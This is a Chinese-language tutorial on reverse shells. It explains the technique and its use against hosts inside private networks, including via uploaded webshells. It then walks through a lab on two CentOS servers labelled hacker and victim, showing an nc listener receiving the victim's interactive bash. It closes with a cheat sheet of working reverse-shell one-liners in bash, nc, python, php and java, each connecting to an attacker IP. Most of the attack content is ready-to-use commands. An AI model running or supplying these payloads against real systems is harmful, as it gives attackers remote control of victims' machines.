反弹shell
反弹shell(reverse shell),即控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
反弹shell原因
如果我们处于内网,我们可以借助frp进行端口代理,但是目标主机处于内网你就没法正向代理了。目标是windows系统,/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。然后还有一种更现实的情况,靶机不会给你提供nc的环境,你也不会那么轻易成功将nc上传至靶机,所以更多的情况需要你就地取材。
反弹shell实验
环境:两台CentOS7.6服务器
- 攻击端 hacker:10.201.61.194
- 受害端 victim:10.201.61.195
1. 攻击端监听一个端口:
[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
2.受害端生成一个反弹shell:
[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
3.攻击端已获取到受害端的bash:
[root@hacker ~]# nc -lvp 6767
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::6767
Ncat: Listening on 0.0.0.0:6767
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:46836.
[root@victim ~]# //攻击端已获得受害端的远程交互式shell
[root@victim ~]# hostname
hostname
victim
解释:
1. nc -lvp 6767
-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。
2. bash -i
-i interactive。即产生一个交互式的shell(bash)。
3. /dev/tcp/IP/PORT
特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash
实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#nc版本:
nc -e /bin/sh 10.0.0.1 1234
#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
相关参考:https://www.jianshu.com/p/5b73a607e2ea
https://zhuanlan.zhihu.com/p/138393396